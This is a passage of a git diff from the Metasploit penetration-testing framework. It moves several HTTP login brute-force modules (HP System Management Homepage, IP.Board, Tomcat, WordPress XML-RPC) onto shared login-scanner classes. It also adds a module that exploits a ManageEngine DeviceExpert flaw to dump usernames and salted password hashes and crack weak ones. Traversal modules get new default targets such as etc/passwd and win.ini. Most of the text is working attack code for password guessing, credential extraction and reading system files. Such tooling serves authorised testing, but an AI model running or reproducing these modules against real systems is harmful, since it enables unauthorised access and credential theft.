File.join(Msf::Config.data_directory, "wordlists", "unix_passwords.txt") + } )) + end - register_options( - [ - Opt::RPORT(2381), - OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line", - File.join(Msf::Config.data_directory, "wordlists", "http_default_userpass.txt") ]), - OptPath.new('USER_FILE', [ false, "File containing users, one per line", - File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), - OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", - File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]), - ], self.class) + def get_version(res) + if res + return res.body.scan(/smhversion = "HP System Management Homepage v([\d\.]+)"/i).flatten[0] || '' + end + + '' + end + + def is_version_tested?(version) + # As of Sep 4 2014, version 7.4 is the latest and that's the last one we've tested + if Gem::Version.new(version) < Gem::Version.new('7.5') + return true + end + + false end - def anonymous_access? - res = send_request_raw({'uri' => '/'}) + def get_system_name(res) + if res + return res.body.scan(/fullsystemname = "(.+)"/i).flatten[0] || '' + end + + '' + end + + def anonymous_access?(res) return true if res and res.body =~ /username = "hpsmh_anonymous"/ false end - def do_login(user, pass) - begin - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => '/proxy/ssllogin', - 'vars_post' => { - 'redirecturl' => '', - 'redirectquerystring' => '', - 'user' => user, - 'password' => pass - } - }) + def init_loginscanner(ip) + @cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) - if not res - vprint_error("#{peer} - Connection timed out") - return :abort - end - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED - vprint_error("#{peer} - Failed to response") - return :abort - end + @scanner = Metasploit::Framework::LoginScanner::Smh.new( + host: ip, + port: rport, + uri: datastore['URI'], + proxies: datastore["PROXIES"], + cred_details: @cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 5 + ) + + @scanner.ssl = datastore['SSL'] + @scanner.ssl_version = datastore['SSLVERSION'] + end + + def do_report(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + credential_core = create_credential(credential_data) - if res.headers['CpqElm-Login'].to_s =~ /success/ - print_good("#{peer} - Successful login: '#{user}:#{pass}'") - report_auth_info({ - :host => rhost, - :port => rport, - :sname => 'https', - :user => user, - :pass => pass, - :proof => "CpqElm-Login: #{res.headers['CpqElm-Login']}" - }) - - return :next_user + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) + end + + def bruteforce(ip) + @scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + :abort + when Metasploit::Model::Login::Status::INCORRECT + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + end end end def run_host(ip) - if anonymous_access? - print_status("#{peer} - No login necessary. Server allows anonymous access.") - return + res = send_request_cgi({ + 'uri' => '/cpqlogin.htm', + 'method' => 'GET', + 'vars_get' => { + 'RedirectUrl' => '/cpqlogin', + 'RedirectQueryString' => '' + } + }) + + version = get_version(res) + unless version.blank? + print_status("#{peer} - Version detected: #{version}") + unless is_version_tested?(version) + print_warning("#{peer} - You're running the module against a version we have not tested") + end + end + + sys_name = get_system_name(res) + unless sys_name.blank? + print_status("#{peer} - System name detected: #{sys_name}") + report_note( + :host => ip, + :type => "system.name", + :data => sys_name + ) end - each_user_pass { |user, pass| - # Actually respect the BLANK_PASSWORDS option - next if not datastore['BLANK_PASSWORDS'] and pass.blank? + if anonymous_access?(res) + print_good("#{peer} - No login necessary. Server allows anonymous access.") + return + end - vprint_status("#{peer} - Trying: '#{user}:#{pass}'") - do_login(user, pass) - } + init_loginscanner(ip) + bruteforce(ip) end end -=begin -Tested: v6.3.1.24 upto v7.2.1.3 -=end diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 6116a5b28e7a..bd8797e6c96d 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -129,6 +129,8 @@ def run_host(ip) user_as_pass: datastore['USER_AS_PASS'], ) + cred_collection = prepend_db_passwords(cred_collection) + scanner = Metasploit::Framework::LoginScanner::HTTP.new( host: ip, port: rport, @@ -138,8 +140,16 @@ def run_host(ip) cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], connection_timeout: 5, + user_agent: datastore['UserAgent'], + vhost: datastore['VHOST'] ) + msg = scanner.check_setup + if msg + print_brute :level => :error, :ip => ip, :msg => "Verification failed: #{msg}" + return + end + scanner.scan! do |result| credential_data = result.to_h credential_data.merge!( @@ -160,9 +170,6 @@ def run_host(ip) when Metasploit::Model::Login::Status::INCORRECT print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" invalidate_login(credential_data) - when Metasploit::Model::Login::Status::NO_AUTH_REQUIRED - print_brute :level => :error, :ip => ip, :msg => "Failed: '#{result.credential}'" - break end end diff --git a/modules/auxiliary/scanner/http/http_traversal.rb b/modules/auxiliary/scanner/http/http_traversal.rb index 584968971900..99f70f67f738 100644 --- a/modules/auxiliary/scanner/http/http_traversal.rb +++ b/modules/auxiliary/scanner/http/http_traversal.rb @@ -106,7 +106,7 @@ def fuzz # Initialize the default file(s) we should try to read during fuzzing if datastore['FILE'].empty? - file_to_read = ['etc/passwd', 'boot.ini'] + file_to_read = ['etc/passwd', 'boot.ini', 'windows\\win.ini'] else file_to_read = [datastore['FILE']] end diff --git a/modules/auxiliary/scanner/http/ipboard_login.rb b/modules/auxiliary/scanner/http/ipboard_login.rb index 7f5f92cec3c4..981177d46c34 100644 --- a/modules/auxiliary/scanner/http/ipboard_login.rb +++ b/modules/auxiliary/scanner/http/ipboard_login.rb @@ -1,5 +1,7 @@ require 'msf/core' +require 'metasploit/framework/login_scanner/ipboard' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary @@ -25,115 +27,51 @@ def initialize end def run_host(ip) - connect - - each_user_pass do |user, pass| - do_login(user, pass, ip) - end - end - - def do_login(user, pass, ip) - begin - print_status "Connecting to target, searching for IP Board server nonce..." - - # Perform the initial request and find the server nonce, which is required to log - # into IP Board - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path), - 'method' => 'GET' - }, 10) - - unless res - print_error "No response when trying to connect to #{vhost}" - return :connection_error - end - - # Grab the key from within the body, or alert that it can't be found and exit out - if res.body =~ /name='auth_key'\s+value='.*?((?:[a-z0-9]*))'/i - server_nonce = $1 - print_status "Server nonce found, attempting to log in..." - else - print_error "Server nonce not present, potentially not an IP Board install or bad URI." - print_error "Skipping #{vhost}.." - return :abort - end - - # With the server nonce found, try to log into IP Board with the user provided creds - res2 = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, "index.php?app=core&module=global§ion=login&do=process"), - 'method' => 'POST', - 'vars_post' => { - 'auth_key' => server_nonce, - 'ips_username' => user, - 'ips_password' => pass - } - }) - - # Default value of no creds found - valid_creds = false - - # Iterate over header response. If the server is setting the ipsconnect and coppa cookie - # then we were able to log in successfully. If they are not set, invalid credentials were - # provided. + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) - if res2.get_cookies.include?('ipsconnect') && res2.get_cookies.include?('coppa') - valid_creds = true - end + scanner = Metasploit::Framework::LoginScanner::IPBoard.new( + host: ip, + port: rport, + uri: normalize_uri(target_uri.path), + proxies: datastore["PROXIES"], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 5, + user_agent: datastore['UserAgent'], + vhost: datastore['VHOST'] + ) - # Inform the user if the user supplied credentials were valid or not - if valid_creds - print_good "Username: #{user} and Password: #{pass} are valid credentials!" - register_creds(user, pass, ip) - return :next_user - else - vprint_error "Username: #{user} and Password: #{pass} are invalid credentials!" - return nil + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + invalidate_login(credential_data) end - - rescue ::Timeout::Error - print_error "Connection timed out while attempting to reach #{vhost}!" - return :connection_error - - rescue ::Errno::EPIPE - print_error "Broken pipe error when connecting to #{vhost}!" - return :connection_error end - end - - def register_creds(username, password, ipaddr) - # Build service information - service_data = { - address: ipaddr, - port: datastore['RPORT'], - service_name: 'http', - protocol: 'tcp', - workspace_id: myworkspace_id - } - - # Build credential information - credential_data = { - origin_type: :service, - module_fullname: self.fullname, - private_data: password, - private_type: :password, - username: username, - workspace_id: myworkspace_id - } - - credential_data.merge!(service_data) - credential_core = create_credential(credential_data) - - # Assemble the options hash for creating the Metasploit::Credential::Login object - login_data = { - access_level: "user", - core: credential_core, - last_attempted_at: DateTime.now, - status: Metasploit::Model::Login::Status::SUCCESSFUL, - workspace_id: myworkspace_id - } - login_data.merge!(service_data) - create_credential_login(login_data) end end diff --git a/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb b/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb index f2193c5b7f32..eb80bf70b9d1 100644 --- a/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb +++ b/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb @@ -39,7 +39,7 @@ def initialize(info = {}) [ Opt::RPORT(6060), OptBool.new('SSL', [true, 'Use SSL', true]), - OptString.new('FILEPATH', [true, 'The name of the file to download', 'boot.ini']) + OptString.new('FILEPATH', [true, 'The name of the file to download', 'windows\\win.ini']) ], self.class) deregister_options('RHOST') diff --git a/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb b/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb new file mode 100644 index 000000000000..bdfdf963c77f --- /dev/null +++ b/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb @@ -0,0 +1,170 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'ManageEngine DeviceExpert User Credentials', + 'Description' => %q{ + This module extracts usernames and salted MD5 password hashes + from ManageEngine DeviceExpert version 5.9 build 5980 and prior. + + This module has been tested successfully on DeviceExpert + version 5.9.7 build 5970. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Pedro Ribeiro <pedrib[at]gmail.com>', # Discovery and exploit + 'Brendan Coles <bcoles[at]gmail.com>' # msf + ], + 'References' => + [ + ['EDB', '34449'], + ['OSVBD', '110522'], + ['CVE', '2014-5377'] + ], + 'DisclosureDate' => 'Aug 28 2014')) + register_options( + [ + Opt::RPORT(6060), + OptBool.new('SSL', [true, 'Use SSL', true]) + ], self.class) + deregister_options('RHOST') + end + + def check + get_users ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe + end + + def get_users + users = nil + vprint_status("#{peer} - Reading users from master...") + res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'ReadUsersFromMasterServlet')) + if !res + vprint_error("#{peer} - Connection failed") + elsif res.code == 404 + vprint_error("#{peer} - Could not find 'ReadUsersFromMasterServlet'") + elsif res.code == 200 && res.body =~ /<discoverydata>(.+)<\/discoverydata>/ + users = res.body.scan(/<discoverydata>(.*?)<\/discoverydata>/) + vprint_good("#{peer} - Found #{users.length} users") + else + vprint_error("#{peer} - Could not find any users") + end + users + end + + def parse_user_data(user) + return if user.nil? + username = user.scan(/<username>([^<]+)</).flatten.first + encoded_hash = user.scan(/<password>([^<]+)</).flatten.first + role = user.scan(/<userrole>([^<]+)</).flatten.first + mail = user.scan(/<emailid>([^<]+)</).flatten.first + salt = user.scan(/<saltvalue>([^<]+)</).flatten.first + hash = Rex::Text.decode_base64(encoded_hash).unpack('H*').flatten.first + pass = nil + ['12345', 'admin', 'password', username].each do |weak_password| + if hash == Rex::Text.md5(weak_password + salt) + pass = weak_password + break + end + end + [username, pass, hash, role, mail, salt] + end + + def run_host(ip) + users = get_users + return if users.nil? + + service_data = { + address: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + cred_table = Rex::Ui::Text::Table.new( + 'Header' => 'ManageEngine DeviceExpert User Credentials', + 'Indent' => 1, + 'Columns' => + [ + 'Username', + 'Password', + 'Password Hash', + 'Role', + 'E-mail', + 'Password Salt' + ] + ) + + vprint_status("#{peer} - Parsing user data...") + users.each do |user| + record = parse_user_data(user.to_s) + next if record.join.empty? + + user = record[0] + pass = record[1] + hash = record[2] + role = record[3] + mail = record[4] + salt = record[5] + + cred_table << [user, pass, hash, role, mail, salt] + + if pass + print_status("#{peer} - Found weak credentials (#{user}:#{pass})") + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: pass, + username: user + } + else + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :nonreplayable_hash, + private_data: "#{salt}:#{hash}", + username: user + } + end + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + access_level: role, + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) + + end + + print_line + print_line("#{cred_table}") + loot_name = 'manageengine.deviceexpert.user.creds' + loot_type = 'text/csv' + loot_filename = 'manageengine_deviceexpert_user_creds.csv' + loot_desc = 'ManageEngine DeviceExpert User Credentials' + p = store_loot( + loot_name, + loot_type, + rhost, + cred_table.to_csv, + loot_filename, + loot_desc) + print_status "Credentials saved in: #{p}" + end +end diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb index 02791f3501b7..757626e287e0 100644 --- a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb +++ b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb @@ -38,7 +38,7 @@ def initialize [ Opt::RPORT(3037), OptBool.new('SSL', [true, 'Use SSL', true]), - OptString.new('RFILE', [true, 'Remote File', 'boot.ini']), + OptString.new('RFILE', [true, 'Remote File', 'windows\\win.ini']), OptInt.new('DEPTH', [true, 'Traversal depth', 6]) ], self.class) diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb index 3f3f1b83ba75..453e0f29d9a0 100644 --- a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb +++ b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb @@ -38,7 +38,7 @@ def initialize [ Opt::RPORT(3037), OptBool.new('SSL', [true, 'Use SSL', true]), - OptString.new('RFILE', [true, 'Remote File', 'c:\\boot.ini']) + OptString.new('RFILE', [true, 'Remote File', 'c:\\windows\\win.ini']) ], self.class) register_autofilter_ports([ 3037 ]) diff --git a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb index 583778d45189..bd8e1be40dd7 100644 --- a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb +++ b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb @@ -35,7 +35,7 @@ def initialize(info = {}) register_options( [ - OptString.new('FILEPATH', [true, 'The name of the file to download', 'boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', 'windows\\win.ini']), OptInt.new('DEPTH', [true, 'The max traversal depth', 8]) ], self.class) diff --git a/modules/auxiliary/scanner/http/soap_xml.rb b/modules/auxiliary/scanner/http/soap_xml.rb index 43967a99c725..6029221a4bc3 100644 --- a/modules/auxiliary/scanner/http/soap_xml.rb +++ b/modules/auxiliary/scanner/http/soap_xml.rb @@ -17,183 +17,189 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, 'Name' => 'HTTP SOAP Verb/Noun Brute Force Scanner', - 'Description' => %q{ + 'Description' => %q( This module attempts to brute force SOAP/XML requests to uncover hidden methods. - }, - 'Author' => [ 'patrick' ], + ), + 'Author' => ['patrick'], 'License' => MSF_LICENSE)) register_options( [ - OptString.new('PATH', [ true, "The path to test", '/']), - OptString.new('XMLNAMESPACE', [ true, "XML Web Service Namespace", 'http://tempuri.org/']), - OptString.new('XMLINSTANCE', [ true, "XML Schema Instance", 'http://www.w3.org/2001/XMLSchema-instance']), - OptString.new('XMLSCHEMA', [ true, "XML Schema", 'http://www.w3.org/2001/XMLSchema']), - OptString.new('XMLSOAP', [ true, "XML SOAP", 'http://schemas.xmlsoap.org/soap/envelope/']), - OptString.new('CONTENTTYPE', [ true, "The HTTP Content-Type Header", 'application/x-www-form-urlencoded']), - OptInt.new('SLEEP', [true, "Sleep this many seconds between requests", 0 ]), - OptBool.new('DISPLAYHTML', [ true, "Display HTML response", false ]), - OptBool.new('SSL', [ true, "Use SSL", false ]), - OptBool.new('VERB_DELETE', [ false, "Enable 'delete' verb", 'false']) + OptString.new('PATH', [true, 'The path to test', '/']), + OptString.new('XMLNAMESPACE', [true, 'XML Web Service Namespace', 'http://tempuri.org/']), + OptString.new('XMLINSTANCE', [true, 'XML Schema Instance', 'http://www.w3.org/2001/XMLSchema-instance']), + OptString.new('XMLSCHEMA', [true, 'XML Schema', 'http://www.w3.org/2001/XMLSchema']), + OptString.new('XMLSOAP', [true, 'XML SOAP', 'http://schemas.xmlsoap.org/soap/envelope/']), + OptString.new('CONTENTTYPE', [true, 'The HTTP Content-Type Header', 'application/x-www-form-urlencoded']), + OptInt.new('SLEEP', [true, 'Sleep this many milliseconds between requests', 0]), + OptBool.new('DISPLAYHTML', [true, 'Display HTML response', false]), + OptBool.new('SSL', [true, 'Use SSL', false]), + OptBool.new('VERB_DELETE', [false, 'Enable DELETE verb', false]) ], self.class) end # Fingerprint a single host def run_host(ip) + verbs = %w( + get + active + activate + create + change + set + put + do + go + resolve + start + recover + initiate + negotiate + define + stop + begin + end + manage + administer + modify + register + log + add + list + query + ) - verbs = [ - 'get', - 'active', - 'activate', - 'create', - 'change', - 'set', - 'put', - 'do', - 'go', - 'resolve', - 'start', - 'recover', - 'initiate', - 'negotiate', - 'define', - 'stop', - 'begin', - 'end', - 'manage', - 'administer', - 'modify', - 'register', - 'log', - 'add', - 'list', - 'query', - ] - - if (datastore['VERB_DELETE']) - verbs << 'delete' - end + verbs << 'delete' if datastore['VERB_DELETE'] + + nouns = %w( + password + task + tasks + pass + administration + account + accounts + admin + login + logins + token + tokens + credential + credentials + key + keys + guid + message + messages + user + users + username + usernames + load + list + name + names + file + files + path + paths + directory + directories + configuration + configurations + config + configs + setting + settings + registry + on + off + ) - nouns = [ - 'password', - 'task', - 'tasks', - 'pass', - 'administration', - 'account', - 'accounts', - 'admin', - 'login', - 'logins', - 'token', - 'tokens', - 'credential', - 'credentials', - 'key', - 'keys', - 'guid', - 'message', - 'messages', - 'user', - 'users', - 'username', - 'usernames', - 'load', - 'list', - 'name', - 'names', - 'file', - 'files', - 'path', - 'paths', - 'directory', - 'directories', - 'configuration', - 'configurations', - 'config', - 'configs', - 'setting', - 'settings', - 'registry', - 'on', - 'off', - ] - - target_port = datastore['RPORT'] vhost = datastore['VHOST'] || wmap_target_host || ip # regular expressions for common rejection messages reject_regexen = [] - reject_regexen << Regexp.new("method \\S+ is not valid", true) - reject_regexen << Regexp.new("Method \\S+ not implemented", true) - reject_regexen << Regexp.new("unable to resolve WSDL method name", true) + reject_regexen << Regexp.new('method \\S+ is not valid', true) + reject_regexen << Regexp.new('Method \\S+ not implemented', true) + reject_regexen << Regexp.new('unable to resolve WSDL method name', true) - begin - verbs.each do |v| - nouns.each do |n| + print_status("Starting scan with #{datastore['SLEEP']}ms delay between requests") + verbs.each do |v| + nouns.each do |n| + begin data_parts = [] - data_parts << "<?xml version=\"1.0\" encoding=\"utf-8\"?>" + data_parts << '<?xml version="1.0" encoding="utf-8"?>' data_parts << "<soap:Envelope xmlns:xsi=\"#{datastore['XMLINSTANCE']}\" xmlns:xsd=\"#{datastore['XMLSCHEMA']}\" xmlns:soap=\"#{datastore['XMLSOAP']}\">" - data_parts << "<soap:Body>" + data_parts << '<soap:Body>' data_parts << "<#{v}#{n} xmlns=\"#{datastore['XMLNAMESPACE']}\">" data_parts << "</#{v}#{n}>" - data_parts << "</soap:Body>" - data_parts << "</soap:Envelope>" + data_parts << '</soap:Body>' + data_parts << '</soap:Envelope>' data_parts << nil data_parts << nil data = data_parts.join("\r\n") uri = normalize_uri(datastore['PATH']) - vprint_status("Sending request #{uri}/#{v}#{n} to #{wmap_target_host}:#{datastore['RPORT']}") - - res = send_request_raw({ - 'uri' => uri + '/' + v + n, - 'method' => 'POST', - 'vhost' => vhost, - 'data' => data, - 'headers' => - { - 'Content-Length' => data.length, - 'SOAPAction' => '"' + datastore['XMLNAMESPACE'] + v + n + '"', - 'Expect' => '100-continue', - 'Content-Type' => datastore['CONTENTTYPE'], - } - }, 15) - - if (res && !(res.body.empty?)) - if ((not reject_regexen.select { |r| res.body =~ r }.empty?)) + uri += '/' unless uri =~ /^\/$/ + uri += v + n + + vprint_status("Sending request #{uri} #{wmap_target_host}:#{datastore['RPORT']}") + + res = send_request_raw( + { + 'uri' => uri, + 'method' => 'POST', + 'vhost' => vhost, + 'data' => data, + 'headers' => + { + 'Content-Length' => data.length, + 'SOAPAction' => '"' + datastore['XMLNAMESPACE'] + v + n + '"', + 'Expect' => '100-continue', + 'Content-Type' => datastore['CONTENTTYPE'] + } + }, 15) + + if res && !(res.body.empty?) + if reject_regexen.any? { |r| res.body =~ r } print_status("Server #{wmap_target_host}:#{datastore['RPORT']} rejected SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.") - elsif (res.message =~ /Cannot process the message because the content type/) + elsif res.message =~ /Cannot process the message because the content type/ print_status("Server #{wmap_target_host}:#{datastore['RPORT']} rejected CONTENTTYPE: HTTP: #{res.code} #{res.message}.") res.message =~ /was not the expected type\s\'([^']+)'/ print_status("Set CONTENTTYPE to \"#{$1}\"") return false - elsif (res.code == 404) + elsif res.code == 404 print_status("Server #{wmap_target_host}:#{datastore['RPORT']} returned HTTP 404 for #{datastore['PATH']}. Use a different one.") return false else print_status("Server #{wmap_target_host}:#{datastore['RPORT']} responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.") ## Add Report report_note( - :host => ip, - :proto => 'tcp', - :sname => (ssl ? 'https' : 'http'), - :port => rport, - :type => "SOAPAction: #{v}#{n}", - :data => "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}." + host: ip, + proto: 'tcp', + sname: (ssl ? 'https' : 'http'), + port: rport, + type: "SOAPAction: #{v}#{n}", + data: "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}." ) if datastore['DISPLAYHTML'] - print_status("The HTML content follows:") + print_status('The HTML content follows:') print_status(res.body + "\r\n") end end end - select(nil, nil, nil, datastore['SLEEP']) if (datastore['SLEEP'] > 0) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e + print_error(e.message) + ensure + Rex.sleep(sleep_time) end end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e - vprint_error(e.message) end end + + def sleep_time + datastore['SLEEP'] / 1000.0 + end end diff --git a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb index 5fe87e5249d9..86a6eaef2d11 100644 --- a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb +++ b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb @@ -103,13 +103,17 @@ def run_host(ip) user_as_pass: datastore['USER_AS_PASS'], ) + cred_collection = prepend_db_passwords(cred_collection) + scanner = Metasploit::Framework::LoginScanner::Tomcat.new( host: ip, port: rport, proxies: datastore['PROXIES'], cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], - connection_timeout: 10 + connection_timeout: 10, + user_agent: datastore['UserAgent'], + vhost: datastore['VHOST'] ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb index b603f3d2652f..014127e22689 100644 --- a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb +++ b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb @@ -38,7 +38,7 @@ def initialize(info={}) [ Opt::RPORT(9084), OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']), - OptString.new('FILE', [true, 'Define the remote file to download', 'boot.ini']) + OptString.new('FILE', [true, 'Define the remote file to download', 'windows\\win.ini']) ], self.class) end diff --git a/modules/auxiliary/scanner/http/wordpress_login_enum.rb b/modules/auxiliary/scanner/http/wordpress_login_enum.rb index 147950bf1eb6..daa69dc821c9 100644 --- a/modules/auxiliary/scanner/http/wordpress_login_enum.rb +++ b/modules/auxiliary/scanner/http/wordpress_login_enum.rb @@ -13,8 +13,8 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Wordpress Brute Force and User Enumeration Utility', - 'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility', + 'Name' => 'WordPress Brute Force and User Enumeration Utility', + 'Description' => 'WordPress Authentication Brute Force and User Enumeration Utility', 'Author' => [ 'Alligator Security Team', @@ -45,7 +45,7 @@ def initialize def run_host(ip) unless wordpress_and_online? - print_error("#{target_uri} does not seeem to be Wordpress site") + print_error("#{target_uri} does not seem to be WordPress site") return end diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb new file mode 100644 index 000000000000..13c82b97a125 --- /dev/null +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb @@ -0,0 +1,122 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/wordpress_rpc' + +class Metasploit3 < Msf::Auxiliary + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wordpress XML-RPC Username/Password Login Scanner', + 'Description' => ' + This module attempts to authenticate against a Wordpress-site + (via XMLRPC) using username and password combinations indicated + by the USER_FILE, PASS_FILE, and USERPASS_FILE options. + ', + 'Author' => + [ + 'Cenk Kalpakoglu <cenk.kalpakoglu[at]gmail.com>', + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://wordpress.org/'], + ['URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'], + ['CVE', '1999-0502'] # Weak password + ] + )) + + register_options( + [ + Opt::RPORT(80), + ], self.class) + + deregister_options('BLANK_PASSWORDS') # we don't need this option + end + + def xmlrpc_enabled? + xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>" + xml << '<methodCall>' + xml << '<methodName>demo.sayHello</methodName>' + xml << '<params>' + xml << '<param></param>' + xml << '</params>' + xml << '</methodCall>' + + res = send_request_cgi( + 'uri' => wordpress_url_xmlrpc, + 'method' => 'POST', + 'data' => xml + ) + + if res && res.body =~ /<string>Hello!<\/string>/ + return true # xmlrpc is enabled + end + return false + end + + def run_host(ip) + print_status("#{peer}:#{wordpress_url_xmlrpc} - Sending Hello...") + if xmlrpc_enabled? + vprint_good("XMLRPC enabled, Hello message received!") + else + print_error("XMLRPC is not enabled! Aborting") + return :abort + end + + print_status("#{peer} - Starting XML-RPC login sweep...") + + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + 